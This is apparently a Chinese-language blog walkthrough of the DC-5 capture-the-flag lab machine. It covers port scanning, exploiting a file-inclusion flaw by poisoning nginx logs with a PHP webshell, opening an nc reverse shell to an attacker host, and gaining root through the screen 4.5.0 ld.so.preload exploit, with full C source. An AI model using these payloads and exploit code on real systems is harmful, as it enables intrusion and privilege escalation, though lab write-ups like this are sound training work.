• DC-5靶机


    ifconfig

    查找主机IP

    扫一波内网,探测下存活主机

    nmap 192.168.61.0/24

    使用nmap工具对DC-5靶机扫描开放的端口

    nmap -A -T4 192.168.61.133 -p- -oN nmap133.A

    (中途IP改成了192.168.61.134)

    开放了80,111,39542

    打开显示的IP地址

     在concat界面把信息填写,就会跳转页面,是GET传参

     反复刷新会发现时间有变化,猜测页面存在文件包含(?)

    然后用burp爆破页面(御剑扫不出来)

    一共7个

     footer可以看到这个,确认这个是包含界面

    使用BurpSuite爆破文件包含的变量名,及后台passwd文件存在位置

    变量名:file,passwd文件位置:/etc/passwd

    查看日志保存位置:

    法一:

    使用BurpSuite抓包爆破靶机日志文件的位置,爆破成功

    /var/log/nginx/error.log
    /var/log/nginx/access.log 

    法二:

    file==/etc/nginx/nginx.conf

    <?php system($_GET['test']);?>

    使用BurpSuite修改数据包数据,写入一句话木马,打开日志文件可以看到成功写入

    使用一句话木马执行命令

    /var/log/nginx/error.log&test=ls

     在kali进行监听

    netcat -l -p 4444
    file=/var/log/nginx/error.log&test=nc+192.168.61.129+4444+-e+/bin/bash

    然后

    python -c 'import pty;pty.spawn("/bin/sh")'

     查找权限

    find / -perm /4000 2>/dev/null

    screen-4.5.0:命令行终端切换的软件,通过它同时连接几个本地或远程的命令行会话,可以作为一个提权的点

    查看漏洞

    把文件提取出来

    cp /usr/share/exploitdb/exploits/linux/local/41154.sh screen_450.txt

    打开文件 

    1. cat screen_450.txt
    2. cat screen_450.sh

    根据提示把代码保存到/tmp下

    分别保存为

    rootshell.c

    1. #include <stdio.h>
    2. int main(void){
    3. setuid(0);
    4. setgid(0);
    5. seteuid(0);
    6. setegid(0);
    7. execvp("/bin/sh", NULL, NULL);
    8. }

    libhax.c 

    1. #include <stdio.h>
    2. #include <sys/types.h>
    3. #include <unistd.h>
    4. __attribute__ ((__constructor__))
    5. void dropshell(void){
    6. chown("/tmp/rootshell", 0, 0);
    7. chmod("/tmp/rootshell", 04755);
    8. unlink("/etc/ld.so.preload");
    9. printf("[+] done!\n");
    10. }

    然后把rootshell.c编译成rootshell

    gcc -o /tmp/rootshell /tmp/rootshell.c

    把libhax.c编译成libhax.so 

    gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

    先是libhax.so

    在虚拟机

    nc -lvvp 4444 < libhax.so

    在目标机

    nc 192.168.61.129 4444 > libhax.so

     然后在主机上ctrl+c终止

    然后是rootshell

    在虚拟机

    nc -lvvp 4444 < rootshell

    在目标机

    nc 192.168.61.129 4444 > rootshell

    在目标机上查看,可以看到传入成功 

     然后进行一系列的提权步骤

    (之前漏洞信息里有步骤)

    cd /etc

    umask 000

    screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"

    screen -ls

    /tmp/rootshell

    然后就获得root权限了(whoami查看)

    cd /root

    ls

    cat thisistheflag.txt

  • 相关阅读:
    注册字符设备驱动
    Kubernetes(k8s)的Namespace和Pod实战入门
    幂级数求和难吗?细节很重要
    【Jenkins】pipeline流水线
    Ubuntu中查看电脑有多少个核——lscpu
    计算机毕业设计ssm高校选课系统uu27m系统+程序+源码+lw+远程部署
    firefly3399 移植linux5.15.80 - 2022-11-27
    Ci2451-2.4g无线MCU收发芯片
    C++入门必会--删数问题
    RHCSA_Linux 从命令行管理文件
  • 原文地址:https://blog.csdn.net/m0_62094846/article/details/125545079